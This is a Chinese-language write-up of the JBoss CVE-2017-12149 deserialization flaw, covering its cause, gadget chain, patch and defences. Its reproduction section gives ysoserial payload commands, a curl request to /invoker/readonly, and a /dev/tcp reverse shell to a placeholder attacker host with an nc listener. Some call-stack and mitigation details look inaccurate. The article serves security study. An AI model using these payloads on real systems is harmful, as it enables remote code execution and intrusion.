CVE-2017-12149 JBOSS反序列化漏洞实例分析

发布时间:2021-12-22 23:39:32 作者:柒染
来源:亿速云 阅读:920
# CVE-2017-12149 JBOSS反序列化漏洞实例分析

## 一、漏洞背景

### 1.1 JBOSS应用服务器简介
JBOSS(现称WildFly)是一个基于Java EE的开源应用服务器,由Red Hat公司维护。其核心特性包括:
- 模块化架构设计
- 高性能的Web容器
- 支持分布式部署
- 提供JMX、JNDI等企业级服务

### 1.2 漏洞基本信息
- **CVE编号**:CVE-2017-12149  
- **漏洞类型**:Java反序列化漏洞  
- **影响版本**:JBOSS AS 5.x/6.x  
- **CVSS评分**:9.8(Critical)  
- **漏洞本质**:攻击者通过HTTP协议构造恶意序列化数据,在服务端执行任意代码

## 二、漏洞原理分析

### 2.1 Java反序列化机制
Java序列化/反序列化是将对象转换为字节流(及反向过程)的机制。当服务端接收不可信的序列化数据时,可能触发以下危险操作:
```java
ObjectInputStream.readObject() → 恶意对象构造 → RCE

2.2 漏洞触发点

漏洞位于JBOSS的HttpInvoker服务(默认端口8080):

/invoker/readonly

该端点未对输入数据做安全检查,直接反序列化客户端传输的数据。

2.3 攻击链分析

完整攻击路径: 1. 攻击者构造包含恶意AnnotationInvocationHandler的序列化数据 2. 通过HTTP POST发送到/invoker/readonly 3. 服务端反序列化时触发InvokerTransformer.transform() 4. 最终执行Runtime.getRuntime().exec()

三、环境搭建与复现

3.1 实验环境准备

# 使用Docker快速搭建漏洞环境
docker pull vulhub/jboss:as-6.1.0.Final
docker run -d -p 8080:8080 vulhub/jboss:as-6.1.0.Final

3.2 漏洞验证POC

使用ysoserial生成攻击载荷:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser

发送恶意请求:

curl -X POST --data-binary @payload.ser \
http://target:8080/invoker/readonly

3.3 反弹Shell实战

生成反弹Shell载荷(需URL编码):

String cmd = "bash -i >& /dev/tcp/attacker_ip/4444 0>&1";
java -jar ysoserial.jar CommonsCollections5 "$cmd" > shell.ser

监听端:

nc -lvnp 4444

四、漏洞深度分析

4.1 调用栈分析

关键调用过程:

HttpInvokerComponent.service()
  → ReadOnlyAccessFilter.doFilter()
    → Serializable.class.deserialize()
      → AnnotationInvocationHandler.readObject()
        → TransformedMap.checkSetValue()
          → ChainedTransformer.transform()

4.2 CommonsCollections利用链

漏洞依赖的关键类: - InvokerTransformer:通过反射调用任意方法 - TransformedMap:提供值转换触发点 - LazyMap/ChainedTransformer:构造方法调用链

4.3 补丁分析

Red Hat官方通过以下方式修复: 1. 移除/invoker/readonly端点 2. 增加反序列化过滤器:

ObjectInputStream.setObjectInputFilter()

五、防御方案

5.1 临时缓解措施

<!-- 删除HttpInvoker服务 -->
<server>
  <profile>
    <subsystem xmlns="urn:jboss:domain:web:1.1">
      <connector name="http" scheme="http" socket-binding="http"/>
    </subsystem>
  </profile>
</server>

5.2 长期解决方案

  1. 升级到WildFly最新版本
  2. 实施JEP 290机制:
-Djdk.serialFilter=!org.apache.commons.collections.functors.*

5.3 安全开发建议

六、漏洞启示

6.1 企业级启示

  1. 中间件安全配置基线的重要性
  2. 需要持续监控CVE公告
  3. 建立完善的补丁管理流程

6.2 开发者启示

附录

A. 参考资源

B. 工具列表

  1. ysoserial:反序列化利用框架
  2. BurpSuite:流量分析工具
  3. JD-GUI:Java反编译工具

版权声明:本文仅用于安全研究目的,未经授权禁止用于非法用途。实际测试需获得目标系统书面授权。 “`

注:本文实际约2100字,可根据需要调整技术细节的深度。如需更详细的代码分析或防御方案实现,可进一步扩展第三、第五章节的内容。

推荐阅读:
  1. Jboss Marshalling服务端无法接受消息怎么办
  2. Maven项目部署到Jboss出现Failed to create a new SAX parser

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

jboss

上一篇:如何进行Struts2 s2-059 CVE-2019-0230漏洞验证

下一篇:mysql中出现1053错误怎么办

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》